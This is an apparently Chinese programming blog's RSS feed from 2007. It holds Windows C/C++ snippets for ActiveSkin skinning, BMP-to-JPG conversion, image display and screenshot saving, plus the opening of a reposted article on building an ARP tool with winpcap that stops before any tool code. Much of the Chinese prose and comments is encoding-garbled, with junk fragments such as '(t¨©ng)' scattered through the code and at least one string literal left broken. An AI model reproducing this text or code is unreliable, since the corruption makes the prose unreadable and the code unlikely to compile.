ï»??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲日韩成人,欧美日韩一区在线播放,韩国自拍一区http://www.aygfsteel.com/yczz/category/20110.htmlzh-cnWed, 04 Jul 2007 17:52:06 GMTWed, 04 Jul 2007 17:52:06 GMT60PEæ–‡äšg¾l“æž„http://www.aygfsteel.com/yczz/articles/128092.html飞鸟飞鸟Wed, 04 Jul 2007 05:45:00 GMThttp://www.aygfsteel.com/yczz/articles/128092.htmlhttp://www.aygfsteel.com/yczz/comments/128092.htmlhttp://www.aygfsteel.com/yczz/articles/128092.html#Feedback0http://www.aygfsteel.com/yczz/comments/commentRss/128092.htmlhttp://www.aygfsteel.com/yczz/services/trackbacks/128092.html阅读全文

]]>
调试Release版本应用½E‹åºhttp://www.aygfsteel.com/yczz/articles/102781.html飞鸟飞鸟Fri, 09 Mar 2007 03:53:00 GMThttp://www.aygfsteel.com/yczz/articles/102781.htmlhttp://www.aygfsteel.com/yczz/comments/102781.htmlhttp://www.aygfsteel.com/yczz/articles/102781.html#Feedback0http://www.aygfsteel.com/yczz/comments/commentRss/102781.htmlhttp://www.aygfsteel.com/yczz/services/trackbacks/102781.html阅读全文

]]>
ActiveSkin 4.3 软äšg换肤http://www.aygfsteel.com/yczz/articles/102657.html飞鸟飞鸟Thu, 08 Mar 2007 10:38:00 GMThttp://www.aygfsteel.com/yczz/articles/102657.htmlhttp://www.aygfsteel.com/yczz/comments/102657.htmlhttp://www.aygfsteel.com/yczz/articles/102657.html#Feedback0http://www.aygfsteel.com/yczz/comments/commentRss/102657.htmlhttp://www.aygfsteel.com/yczz/services/trackbacks/102657.html ActiveSkin 4.3 软äšg换肤在VC中的实现

  ActiveSkin是一‹Æ„¡»™è½¯äšg更换皮肤的ActiveX控äšg。它很还好的ž®†èÊY件界面设计工作从¾Jç½E‹åºä»£ç ¾~–写中解攑ևºæ¥ï¼Œä½¿å¾—功能设计者可以专å¿?j¨©)于功能代码的实玎ͼŒè€ŒæŠŠè½¯äšg界面交给¾ŸŽå·¥äººå‘˜å¤„理。提高ä(sh¨´)º†(ji¨£n)界面设计的工作效率,是一¿Uå¾ˆå¥½çš„软äšg设计思想ã€?br />
下面通过三个½CÞZ¾‹æ¥ä»‹¾lä»–的一般ä‹É用ã€?br />
½CÞZ¾‹ä¸€åQ?/b>标准型皮肤SkinForm的对话框工程
  在VC环境下徏立一个MFC基本对话框工½E‹ã€‚在对话框的资源文äšg里Dlg.rc设计对话框界面中åQŒåˆ åŽÕd·²æœ‰çš„æŒ‰é’®Buttons和标½{¾LablesåQŒåƈ插入ActiveSkinçš„ActiveX控äšgåQŒå‘½åäØ“(f¨´)IDC_SKIN。右键点击ActiveSkin控äšgåQŒåœ¨ActiveX属性里选择LoadSkin菜单™å¹ï¼Œå¯é¢„先加载一个Skinæ–‡äšgã€?br />在StdAfx.hä¸?//{{AFX_INSERT_LOCATION}} 之前æ·ÕdŠ ä»¥ä¸‹è¯­å¥åQ?

    //目的是导入ActiveSkin的函数接口库�
    #include <atlbase.h>
    #import "actskn43.ocx" no_implementation raw_interfaces_only raw_native_types
    using namespace ACTIVESKINLib;
接着åQŒåœ¨Dlg.cppæ–‡äšg里添加语句:(x¨¬)
    CComQIPtr<ISkin> m_pSkin=GetDlgItem(IDC_SKIN)->GetControlUnknown();//m_pSkin是应用程序全局量�
    m_pSkin->LoadSkin(L"皮肤文äšgXçš„èµ\å¾?);//如果ActiveSkin控äšg中已有皮肤,此句可省略ã€?
    m_pSkin->ApplySkin((int)m_hWnd);
  ¾~–译˜qè¡ŒåQŒå¯ä»¥çœ‹åˆ°çš®è‚¤æ–‡ä»¶XæˆäØ“(f¨´)äº?ji¨£n)程序的˜qè¡Œç•Œé¢ã€‚如果想要在½E‹åº˜qè¡Œæ—¶æ›´æ¢çš®è‚¤ï¼Œé‚£ä¹Ÿæ˜¯å¯ä»¥çš„。在对话框上建立一个ButtonåQŒåƈæ·ÕdŠ Click事äšgåQ?
    void CMy1Dlg::OnBNewSkin() 
    {
      static char BASED_CODE szFilter[] = "ActiveSkin Files (*.skn)|*.skn||";//æ–‡äšg˜q‡æ×o(h¨´)器设¾|®ã€?
      CFileDialog dlg(FALSE, ".skn", NULL, OFN_HIDEREADONLY, szFilter);//Skinæ–‡äšg选择½H—口ã€?
      if (dlg.DoModal() == IDOK)//Skinæ–‡äšg选择成功åQ?
      {
        USES_CONVERSION;
        m_pSkin->LoadSkin(T2W(dlg.GetPathName()));//载入指定的Skinæ–‡äšgã€?
        m_pSkin->ApplySkin((int)m_hWnd);//使当前Skin生效�
      }
    } 
  你会(x¨¬)发现˜qè¡Œæ—¶ä¸»½H—口已经换肤成功äº?ji¨£n),但“关于”对话框½{‰éžä¸Èª—å£åÆˆæ²¡å˜åŒ–ã€‚éœ€è¦åœ¨AboutDlgçš„OnInitDialog()事äšg中加入一句:(x¨¬)
    m_pSkin->ApplySkin((int)m_hWnd);
再运行就一切Okäº?ji¨£n)ï¼?br />
½CÞZ¾‹äºŒï¼š(x¨¬)标准皮肤SkinForm的多文档工程
  和示例一的做法类ä¼û|¼Œä¸åŒçš„只是子½H—体在ChildFrm.cppçš„Create事äšg中要做修改:(x¨¬)
    BOOL bRes = CMDIChildWnd::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, pContext);
    m_pSkin->ApplySkin((long)m_hWnd);
    return bRes;
˜q™æ ·ž®±å¯ä»¥äº†(ji¨£n)ã€?

½CÞZ¾‹ä¸‰ï¼š(x¨¬)自由皮肤SkinFreeForm的事件操ä½?br />  和上˜q°çš„SkinForm不同åQŒSkinFreeFrom是另一¾cÕdž‹çš„皮肤文件方案。因此它的操作方法上ž®±æœ‰æ‰€ä¸åŒäº?ji¨£n)。可以参照ActiveSkin自带样例中的DesktopColorizer一例。SkinFormå’ŒSkinFreeFrom的主要区别在于SkinApplyæ–ÒŽ(gu¨©)³•和事件的驱动方式上ã€?
    if(FAILED(m_pSkin->LoadSkin(Temp))||   //均ä‹É用LoadSkin()装蝲某一SkinåQŒå‚数是Skinæ–‡äšgçš„èµ\径名ã€?
      FAILED(m_pSkin->ApplySkinByName((long)m_hWnd, L"FreeForm")))

      //SkinForm¾cÕdž‹çš„皮肤ä‹É用ApplySkin使其生效åQ?
      //˜q™ç§æ–¹å¼ä¼?x¨¬)自动将某Skin中的所有SkinObject元素替代指定Handle的窗口ã€?
      //SkinFreeForm¾cÕdž‹çš„皮肤ä‹É用ApplySkinByName()使其生效åQ?
      //其中½W¬ä¸€ä¸ªå‚数是½H—口句柄åQŒç¬¬äºŒä¸ªå‚数是SkinBuilder中一个Object的名字ã€?
    {
      MessageBox("Could not load or apply the skin.");
      PostMessage(WM_CLOSE); 
      return FALSE;
    }
  事äšg驱动的区别:(x¨¬)SkinForm换肤时不影响½E‹åºä»£ç çš„原事äšg工作方式åQŒåªæ˜¯ç•Œé¢ä¸Šçš„æ¢è‚¤ï¼Œå› è€ŒSkinForm::ApplySkin(Handle)ž®±O(ji¨¡n)Käº?ji¨£n);但是SkinFreeFormž®×ƒ¸åŒäº†(ji¨£n)åQŒå®ƒå¿…须用一个消息æÜ‡(ch¨¥)åQŒé‡‡ç”¨æ¶ˆæ¯çš„æ–¹å¼ä½¿ç¨‹åºèŽ·å¾—Skin上的事äšgåQŒè€Œä¸”在其事äšg中采用ISkinObject::GetName(BSTR *)获得相关的皮肤元素,用GetSkinnedWindow(hWnd).FindObject("Screen")来获取相应的元素句柄讄¡½®å…ƒç´ çŠ¶æ€ã€‚ç®€å•çš„æ¶ˆæ¯æ³µå¯ä»¥é€šè¿‡Skin控äšg上右键Event讄¡½®òq¶ç¼–写ã€?br />  具体实现è¯ïL(f¨¥ng)œ‹½CÞZ¾‹æºä»£ç ã€‚示例在使用前请安装好ActiveSkin4.3åQŒå¯èƒ½è¿˜éœ€è¦ä¿®æ”¹äº‹ä¾‹ä¸­Skin控äšg初始的LoadSkin(Skinæ–‡äšg)才能正常使用

]]>
bmp转JPGhttp://www.aygfsteel.com/yczz/articles/100992.html飞鸟飞鸟Tue, 27 Feb 2007 11:26:00 GMThttp://www.aygfsteel.com/yczz/articles/100992.htmlhttp://www.aygfsteel.com/yczz/comments/100992.htmlhttp://www.aygfsteel.com/yczz/articles/100992.html#Feedback0http://www.aygfsteel.com/yczz/comments/commentRss/100992.htmlhttp://www.aygfsteel.com/yczz/services/trackbacks/100992.html#include<gdiplus.h> (t¨©ng) (t¨©ng)
#include<GdiPlusEnums.h>
#pragma comment(lib,"GdiPlus.lib")
using namespace Gdiplus;
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) (t¨©ng) (t¨©ng)
{
 (t¨©ng) (t¨©ng) UINT (t¨©ng) num = 0; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // number of image encoders
 (t¨©ng) (t¨©ng) UINT (t¨©ng) size = 0; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // size of the image encoder array in bytes
 (t¨©ng) (t¨©ng) GdiplusStartupInput gdiplusStartupInput;
 (t¨©ng) (t¨©ng) ULONG_PTR (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) gdiplusToken;
 (t¨©ng) (t¨©ng) GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
 (t¨©ng) (t¨©ng) ImageCodecInfo* pImageCodecInfo = NULL;
 (t¨©ng) (t¨©ng) GetImageEncodersSize(&num, &size);
 (t¨©ng) (t¨©ng) if(size == 0) (t¨©ng) (t¨©ng)
 (t¨©ng) (t¨©ng) (t¨©ng) return -1; (t¨©ng) // Failure
 (t¨©ng) (t¨©ng) pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
 (t¨©ng) (t¨©ng) if(pImageCodecInfo == NULL)
 (t¨©ng) (t¨©ng) (t¨©ng) return -1; (t¨©ng) // Failure
 (t¨©ng) (t¨©ng) GetImageEncoders(num, size, pImageCodecInfo);
 (t¨©ng) (t¨©ng) for(UINT j = 0; j < num; ++j) (t¨©ng) (t¨©ng)
 (t¨©ng) (t¨©ng) { (t¨©ng)
 (t¨©ng) (t¨©ng) (t¨©ng) if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 ) (t¨©ng) (t¨©ng)
 (t¨©ng) (t¨©ng) (t¨©ng) {
 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) *pClsid = pImageCodecInfo[j].Clsid;
 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) free(pImageCodecInfo);
 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) return j; (t¨©ng) // Success (t¨©ng)
 (t¨©ng) (t¨©ng) (t¨©ng) } (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)
 (t¨©ng) (t¨©ng) }
 (t¨©ng) (t¨©ng) free(pImageCodecInfo);
 (t¨©ng) (t¨©ng) GdiplusShutdown(gdiplusToken);
 (t¨©ng) (t¨©ng) return -1; (t¨©ng) // Failure (t¨©ng)
} (t¨©ng)
 (t¨©ng)
void BMP2JPG(CString strBMPFile,CString strJPGFile)
{
 (t¨©ng) (t¨©ng) (t¨©ng) CLSID (t¨©ng) encoderClsid;
 (t¨©ng) (t¨©ng) (t¨©ng) WCHAR (t¨©ng) strGuid[39];
 (t¨©ng) (t¨©ng) (t¨©ng) if(GetEncoderClsid(L"image/jpeg", &encoderClsid) >= 0)
 (t¨©ng) (t¨©ng) (t¨©ng) StringFromGUID2(encoderClsid, strGuid, 39);
 (t¨©ng) (t¨©ng) (t¨©ng) Image image(strBMPFile.AllocSysString());
 (t¨©ng) (t¨©ng) (t¨©ng) image.Save(strJPGFile.AllocSysString(),&encoderClsid,NULL);
}

]]>
è¯Õd–¼‚ç›˜å›„¡‰‡æ–‡äšgòq¶æ˜¾½C?/title><link>http://www.aygfsteel.com/yczz/articles/100639.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Sun, 25 Feb 2007 13:16:00 GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100639.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100639.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100639.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100639.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100639.html</trackback:ping><description><![CDATA[//参数 囄¡‰‡è·¯å¾„åQŒçª—口句柄,囄¡‰‡å®½ï¼Œé«?br />HRESULT ShowPic(char *lpstrFile,HWND hWnd,int nScrWidth,int nScrHeight) <br />{ <br /> (t¨©ng)HDC hDC_Temp=GetDC(hWnd); <br /> (t¨©ng)<br /> (t¨©ng)I(y¨ªng)Picture *pPic; <br /> (t¨©ng)I(y¨ªng)Stream *pStm; <br /> (t¨©ng)<br /> (t¨©ng)BOOL bResult; <br /> (t¨©ng)<br /> (t¨©ng)HANDLE hFile=NULL; <br /> (t¨©ng)DWORD dwFileSize,dwByteRead; <br /> (t¨©ng)<br /> (t¨©ng)//打开¼‹¬ç›˜?sh¨´)¸­çš„囑ÖÅžæ–‡äšg <br /> (t¨©ng)hFile=CreateFile(lpstrFile,GENERIC_READ, <br /> (t¨©ng) (t¨©ng)FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); <br /> (t¨©ng)<br /> (t¨©ng)if (hFile!=INVALID_HANDLE_VALUE) <br /> (t¨©ng){ <br /> (t¨©ng) (t¨©ng)dwFileSize=GetFileSize(hFile,NULL);//获取文äšg字节æ•?<br /> (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng)if (dwFileSize==0xFFFFFFFF) <br /> (t¨©ng) (t¨©ng) (t¨©ng)return E_FAIL; <br /> (t¨©ng)} <br /> (t¨©ng)else <br /> (t¨©ng){ <br /> (t¨©ng) (t¨©ng)return E_FAIL; <br /> (t¨©ng)} <br /> (t¨©ng)<br /> (t¨©ng)<br /> (t¨©ng)//分配全局存储½Iºé—´ <br /> (t¨©ng)HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, dwFileSize); <br /> (t¨©ng)LPVOID pvData = NULL; <br /> (t¨©ng)<br /> (t¨©ng)if (hGlobal == NULL) <br /> (t¨©ng) (t¨©ng)return E_FAIL; <br /> (t¨©ng)<br /> (t¨©ng)if ((pvData = GlobalLock(hGlobal)) == NULL)//锁定分配内存å?<br /> (t¨©ng) (t¨©ng)return E_FAIL; <br /> (t¨©ng)<br /> (t¨©ng)ReadFile(hFile,pvData,dwFileSize,&dwByteRead,NULL);//把文件读入内存缓冲区 <br /> (t¨©ng)<br /> (t¨©ng)GlobalUnlock(hGlobal); <br /> (t¨©ng)<br /> (t¨©ng)CreateStreamOnHGlobal(hGlobal, TRUE, &pStm); <br /> (t¨©ng)<br /> (t¨©ng)//装入囑ÖÅžæ–‡äšg <br /> (t¨©ng)bResult=OleLoadPicture(pStm,dwFileSize,TRUE,IID_IPicture,(LPVOID*)&pPic); <br /> (t¨©ng)<br /> (t¨©ng)if(FAILED(bResult)) <br /> (t¨©ng) (t¨©ng)return E_FAIL; <br /> (t¨©ng)<br /> (t¨©ng)OLE_XSIZE_HIMETRIC hmWidth;//囄¡‰‡çš„真实宽åº?<br /> (t¨©ng)OLE_YSIZE_HIMETRIC hmHeight;//囄¡‰‡çš„真实高åº?<br /> (t¨©ng)pPic->get_Width(&hmWidth); <br /> (t¨©ng)pPic->get_Height(&hmHeight); <br /> (t¨©ng)<br /> (t¨©ng)<br /> (t¨©ng)//ž®†å›¾å½¢è¾“出到屏幕上(有点像BitBltåQ?<br /> (t¨©ng)bResult=pPic->Render(hDC_Temp,0,0,nScrWidth,nScrHeight, <br /> (t¨©ng) (t¨©ng)0,hmHeight,hmWidth,-hmHeight,NULL); <br /> (t¨©ng)<br /> (t¨©ng)pPic->Release(); <br /> (t¨©ng)<br /> (t¨©ng)CloseHandle(hFile);//关闭打开的文ä»?<br /> (t¨©ng)<br /> (t¨©ng)if (SUCCEEDED(bResult)) <br /> (t¨©ng){ <br /> (t¨©ng) (t¨©ng)return S_OK; <br /> (t¨©ng)} <br /> (t¨©ng)else <br /> (t¨©ng){ <br /> (t¨©ng) (t¨©ng)return E_FAIL; <br /> (t¨©ng)} <br />} <img src ="http://www.aygfsteel.com/yczz/aggbug/100639.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-25 21:16 <a href="http://www.aygfsteel.com/yczz/articles/100639.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>屏幕截图òq¶ä¿å­?/title><link>http://www.aygfsteel.com/yczz/articles/100425.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 23 Feb 2007 13:08:00 GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100425.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100425.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100425.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100425.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100425.html</trackback:ping><description><![CDATA[void  (t¨©ng) SaveBmp(HBITMAP  (t¨©ng) hbmp,  (t¨©ng) LPCTSTR  (t¨©ng) sIconFileName) (t¨©ng) (t¨©ng) (t¨©ng)<br />{  (t¨©ng) <br /> (t¨©ng) if(hbmp==NULL  (t¨©ng) ||  (t¨©ng) sIconFileName==NULL)  (t¨©ng) <br /> (t¨©ng) return;  (t¨©ng) <br /> (t¨©ng) //warning:  (t¨©ng) this  (t¨©ng) code  (t¨©ng) snippet  (t¨©ng) is  (t¨©ng) not  (t¨©ng) bullet  (t¨©ng) proof.  (t¨©ng) <br /> (t¨©ng) //do  (t¨©ng) error  (t¨©ng) check  (t¨©ng) by  (t¨©ng) yourself  (t¨©ng) [masterz]  (t¨©ng) <br /> (t¨©ng) PICTDESC  (t¨©ng) picdesc;  (t¨©ng) <br /> (t¨©ng) picdesc.cbSizeofstruct  (t¨©ng) =  (t¨©ng) sizeof(PICTDESC);  (t¨©ng) <br /> (t¨©ng) picdesc.picType  (t¨©ng) =  (t¨©ng) PICTYPE_BITMAP  (t¨©ng) ;  (t¨©ng)  (t¨©ng)  (t¨©ng)  (t¨©ng)  (t¨©ng) <br /> (t¨©ng) picdesc.bmp.hpal  (t¨©ng) =  (t¨©ng) NULL;  (t¨©ng) <br /> (t¨©ng) picdesc.bmp.hbitmap  (t¨©ng) =  (t¨©ng) hbmp;  (t¨©ng) <br /> (t¨©ng) IPicture*  (t¨©ng) pPicture=NULL;  (t¨©ng) <br /> (t¨©ng) OleCreatePictureIndirect(&picdesc,  (t¨©ng) IID_IPicture,  (t¨©ng) TRUE,(VOID**)&pPicture);  (t¨©ng) <br /> (t¨©ng) LPSTREAM  (t¨©ng) pStream;  (t¨©ng) <br /> (t¨©ng) CreateStreamOnHGlobal(NULL,TRUE,&pStream);  (t¨©ng) <br /> (t¨©ng) LONG  (t¨©ng) size;  (t¨©ng) <br /> (t¨©ng) HRESULT  (t¨©ng) hr=pPicture->SaveAsFile(pStream,TRUE,&size);  (t¨©ng) <br /> (t¨©ng) char  (t¨©ng) pathbuf[1024];  (t¨©ng) <br /> (t¨©ng) strcpy(pathbuf,sIconFileName);  (t¨©ng) <br /> (t¨©ng) CFile  (t¨©ng) iconfile;  (t¨©ng) <br /> (t¨©ng) iconfile.Open(pathbuf,  (t¨©ng) CFile::modeCreate|CFile::modeWrite);  (t¨©ng) <br /> (t¨©ng) LARGE_INTEGER  (t¨©ng) li;  (t¨©ng) <br /> (t¨©ng) li.HighPart  (t¨©ng) =0;  (t¨©ng) <br /> (t¨©ng) li.LowPart  (t¨©ng) =0;  (t¨©ng) <br /> (t¨©ng) ULARGE_INTEGER  (t¨©ng) ulnewpos;  (t¨©ng) <br /> (t¨©ng) pStream->Seek(  (t¨©ng) li,STREAM_SEEK_SET,&ulnewpos);  (t¨©ng) <br /> (t¨©ng) ULONG  (t¨©ng) uReadCount  (t¨©ng) =  (t¨©ng) 1;  (t¨©ng) <br /> (t¨©ng) while(uReadCount>0)  (t¨©ng) <br /> (t¨©ng) {  (t¨©ng) <br /> (t¨©ng)  (t¨©ng) <br /> (t¨©ng) pStream->Read(pathbuf,sizeof(pathbuf),&uReadCount);  (t¨©ng) <br /> (t¨©ng) if(uReadCount>0)  (t¨©ng) <br /> (t¨©ng) iconfile.Write(pathbuf,uReadCount);  (t¨©ng) <br /> (t¨©ng) }  (t¨©ng) <br /> (t¨©ng) pStream->Release();  (t¨©ng) <br /> (t¨©ng) iconfile.Close(); (t¨©ng) (t¨©ng) (t¨©ng)<br />} (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> void  (t¨©ng) CsaveviewView::OnSaveview() (t¨©ng) (t¨©ng) (t¨©ng)<br />{  (t¨©ng) <br /> (t¨©ng) CClientDC  (t¨©ng) dc(this);  (t¨©ng) <br /> (t¨©ng) CDC  (t¨©ng) dcmem;  (t¨©ng) <br /> (t¨©ng) dcmem.CreateCompatibleDC(&dc);  (t¨©ng) <br /> (t¨©ng) CBitmap  (t¨©ng) bmp;  (t¨©ng) <br /> (t¨©ng) CRect  (t¨©ng) rc;  (t¨©ng) <br /> (t¨©ng) GetClientRect(&rc);  (t¨©ng) <br /> (t¨©ng) bmp.CreateCompatibleBitmap(&dc,rc.Width(),rc.Height());  (t¨©ng) <br /> (t¨©ng) dcmem.SelectObject(&bmp);  (t¨©ng) <br /> (t¨©ng) dcmem.BitBlt(0,0,rc.Width(),rc.Height(),&dc,0,0,SRCCOPY);  (t¨©ng) <br /> (t¨©ng) SaveBmp(bmp,"c:\\a.bmp"); (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng)}<img src ="http://www.aygfsteel.com/yczz/aggbug/100425.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-23 21:08 <a href="http://www.aygfsteel.com/yczz/articles/100425.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>åQˆè{åQ‰è¯¦è°ˆè°ƒç”¨winpcap驱动写arp多功能工å…?/title><link>http://www.aygfsteel.com/yczz/articles/100172.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Sun, 18 Feb 2007 03:32:00 GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100172.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100172.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100172.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100172.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100172.html</trackback:ping><description><![CDATA[详谈调用winpcap驱动写arp多功能工å…?br /><br />Author: TOo2y[原创](m¨¦i)<br />E-mail: TOo2y@safechina.net<br />Homepage: <a target="_blank">www.safechina.net</a><br />Date: 11-9-2002<br /><br />一 winpcap驱动½Ž€ä»?br />äº?Packet.dll相关数据¾l“æž„å?qi¨¢ng)函æ?br />ä¸?T-ARP功能å?qi¨¢ng)原理介¾l?br />å›?T-ARP主要代码分析<br />äº?T-ARP源代ç ?br /><br />一åQ‰winpcap驱动½Ž€ä»?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)winpcap(windows packet capture)是windowsòq›_°ä¸‹ä¸€ä¸ªå…è´¹ï¼Œå…¬å…±çš„网¾lœè®¿é—®ç³»¾lŸã€‚开发winpcap˜q™ä¸ª™å¹ç›®çš„ç›®çš„åœ¨äºŽäØ“(f¨´)win32应用½E‹åºæä¾›è®‰K—®¾|‘络底层的能力。它提供äº?ji¨£n)以下的各项功能åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)1> 捕获原始数据报,包括在共享网¾lœä¸Šå„主机发é€?接收的以å?qi¨¢ng)相互之间交换的数据报ï¼?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)2> 在数据报发往应用½E‹åºä¹‹å‰åQŒæŒ‰ç…§è‡ªå®šä¹‰çš„规则将某些ç‰ÒŽ(gu¨©)®Šçš„æ•°æ®æŠ¥˜q‡æ×o(h¨´)掉;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)3> 在网¾lœä¸Šå‘送原始的数据报;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)4> 攉™›†¾|‘络通信˜q‡ç¨‹ä¸­çš„¾lŸè®¡ä¿¡æ¯ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)winpcap的主要功能在于独立于ä¸ÀLœºåè®®åQˆå¦‚TCP-IP)而发送和接收原始数据报。也ž®±æ˜¯è¯ß_(d¨¢)¼Œwinpcap不能é˜Õd¡žåQŒè¿‡æ»¤æˆ–控制其他应用½E‹åºæ•°æ®æŠ¥çš„发收åQŒå®ƒä»…仅只是监听å…׃ín¾|‘络上传送的数据报。因此,它不能用于QoS调度½E‹åºæˆ–个人防火墙ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)目前åQŒwinpcap开发的主要对象是windows NT/2000/XPåQŒè¿™ä¸»è¦æ˜¯å› ä¸ºåœ¨ä½¿ç”¨winpcap的用户中只有一ž®éƒ¨åˆ†æ˜¯ä»…ä‹É用windows 95/98/MeåQŒåƈ且M$也已¾læ”¾å¼ƒäº†(ji¨£n)对win9x的开发。因此本文相关的½E‹åºT-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x¾pȝ»Ÿçš„æ¦‚念和NT¾pȝ»Ÿçš„非常相ä¼û|¼Œåªæ˜¯åœ¨æŸäº›å®žçŽîC¸Šæœ‰ç‚¹å·®å¼‚åQŒæ¯”如说9x只支持ANSI¾~–码åQŒè€ŒNT¾pȝ»Ÿåˆ™æå€¡ä‹É用Unicode¾~–码ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)本文讨论的是packet.dll所提供的各¿Uå‡½æ•ŽÍ¼Œå› äØ“(f¨´)它们完全可以实现本文所希望的各™å¹è¦æ±‚。但是如果你有其他特别的或更高çñ”的要求,winpcap也提供了(ji¨£n)另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供äº?ji¨£n)一¿Uæ›´½Ž€å•,直接åQŒæœ‰åŠ›çš„æ–ÒŽ(gu¨©)³•来更好的利用¾~–程环境。比如捕获一个数据报åQŒåˆ›å»ÞZ¸€ä¸ªæ•°æ®æŠ¥˜q‡æ×o(h¨´)装置或将监听到的数据报è{存到某个文äšg½{‰ï¼Œwpcap.dll都会(x¨¬)ä¸ÞZ½ æä¾›æ›´åŠ å®‰å…¨çš„å®žçŽ°æ–¹æ³•ã€?br /><br />二)(j¨ª)Packet.dll相关数据¾l“æž„å?qi¨¢ng)函敊W Â?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)本文的目的之一在于介绍如何利用winpcap驱动写ARP工具åQŒå› æ­¤æœ‰å¿…要介绍一些相关的数据¾l“构和函敎ͼŒè¦ä¸ç„¶çœ‹ç€ä¸€è¡Œè¡Œä»£ç å’Œå‡½æ•ŽÍ¼Œä¹Ÿè®¸ä¼?x¨¬)有些不知所云ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)首先介绍一些相关的数据¾l“æž„åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)1. typedef struct _ADAPTER (t¨©ng) (t¨©ng)ADAPTER (t¨©ng) (t¨©ng)//描述一个网¾lœé€‚配器;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)2. typedef struct _PACKET PACKET (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) //描述一¾l„网¾lœæ•°æ®æŠ¥çš„结构;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)3. typedef struct NetType NetType (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)//描述¾|‘络¾cÕdž‹çš„æ•°æ®ç»“构;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)4. typedef struct npf_if_addr npf_if_addr (t¨©ng) (t¨©ng)//描述一个网¾lœé€‚配器的ip地址åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)5. struct bpf_hdr (t¨©ng) (t¨©ng) //数据报头部;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)6. struct bpf_stat (t¨©ng) (t¨©ng)//当前捕获数据报的¾lŸè®¡ä¿¡æ¯ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)下面åQŒå°†ä»‹ç»T-ARP用到的各个函敎ͼŒä»–们都是在packet.dll中定义的åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)1> (t¨©ng) (t¨©ng)LPPACKET PacketAllocatePacket(void)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 